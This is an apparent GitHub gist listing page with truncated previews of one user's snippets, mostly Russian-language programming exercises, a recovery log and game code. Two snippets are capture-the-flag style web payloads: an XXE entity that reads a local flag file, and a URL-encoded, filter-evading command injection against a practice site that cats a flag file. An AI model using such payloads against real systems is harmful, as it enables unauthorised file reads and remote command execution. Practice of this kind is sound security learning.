Skip to content

Instantly share code, notes, and snippets.

View conf.yaml
init_config:
instances:
- proc_name: goodload
View ex1.xml
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM
"file:///home/ubuntu/xxe2/flag.txt">
]>
<foo>
&bar;
</foo>
View gist:83af81249acce99a894954302a6120cd
http://trytohack.ru/test/rce2?cmd=`echo%09-e%09%22cat%09--%09\057home\057ubuntu\057rce2\057flag.txt"`
View anagram.js
class AnagramWord {
constructor(word, reverseWord) {
this.word = word;
this.reverseWord = reverseWord;
}
}
/**
* Получения двумерный массив анаграмм из произвольного массива слов
* @param {string[]} list
View recovery.log
__bionic_open_tzdata: couldn't find any tzdata when looking for localtime!
__bionic_open_tzdata: couldn't find any tzdata when looking for GMT!
__bionic_open_tzdata: couldn't find any tzdata when looking for posixrules!
Starting TWRP 3.2.1-0-2af13795 on Mon Feb 16 13:46:10 1970
(pid 351)
I:Lun file '/sys/class/android_usb/android0/f_mass_storage/lun0/file' does not exist, USB storage mode disabled
TW_INCLUDE_CRYPTO := true
I:Find_File: Error opening '/sys/class/backlight'
I:Found brightness file at '/sys/class/leds/lcd-backlight/brightness'
I:Got max brightness 255 from '/sys/class/leds/lcd-backlight/max_brightness'
View Practice.md
  1. Оптимально ли составлен запрос? Какие индексы нужно построить для эффективного выполнения запроса и почему?
SELECT rental_id FROM rental
WHERE rental_date BETWEEN '2005-07-01' AND '2005-08-01'
  AND customer_id = 2
ORDER BY rental_date, inventory_id;
  1. Оптимально ли составлен запрос? Какие индексы нужно построить для эффективного выполнения запроса и почему?
SELECT rental_id FROM rental
View PhysicsLoop.js
const PIXI = require('pixi.js');
const Alien = require('./object/Alien.js');
const SpriteStorage = require('./delegates/SpriteStorage.js');
const Constants = require('../../utils/Constants.js');
const VectorToPointLoop = require('./delegates/VectorToPointLoop.js');
const PhysicVectorLoop = require('./delegates/PhysicVectorLoop.js');
const Platform = require('./object/Platform.js');
const Laser = require('./object/Laser.js');
const Point = require('./object/primitive/Point.js');
const CollisionManager = require('./CollisionManager.js');
View index.js
/**
* Асинхронный reduce
* @param {any[]} input
* @param {Function} iterator
* @param {any} initialValue
* @return {Promise}
*/
function asyncReduce(input, iterator, initialValue) {
let result = Promise.resolve(initialValue);
input.forEach((promise) => {
View main.c
#include <stdlib.h>
#include <stdio.h>
/*Ввод массива по указателю p*/
void setMassive(int *p, int n) {
printf("Ведите поэлементно ваше множество:\n");
View main.c
#include <stdio.h>
#include <stdlib.h>
#include <slcurses.h>
/**
* Задать массив
* n=0
* Ввести в массив значения
* Взять первое число
* Это буквы или цифры если буквы, то переход к следующему. - это не реализуемо. Как мы поймем что это буквы?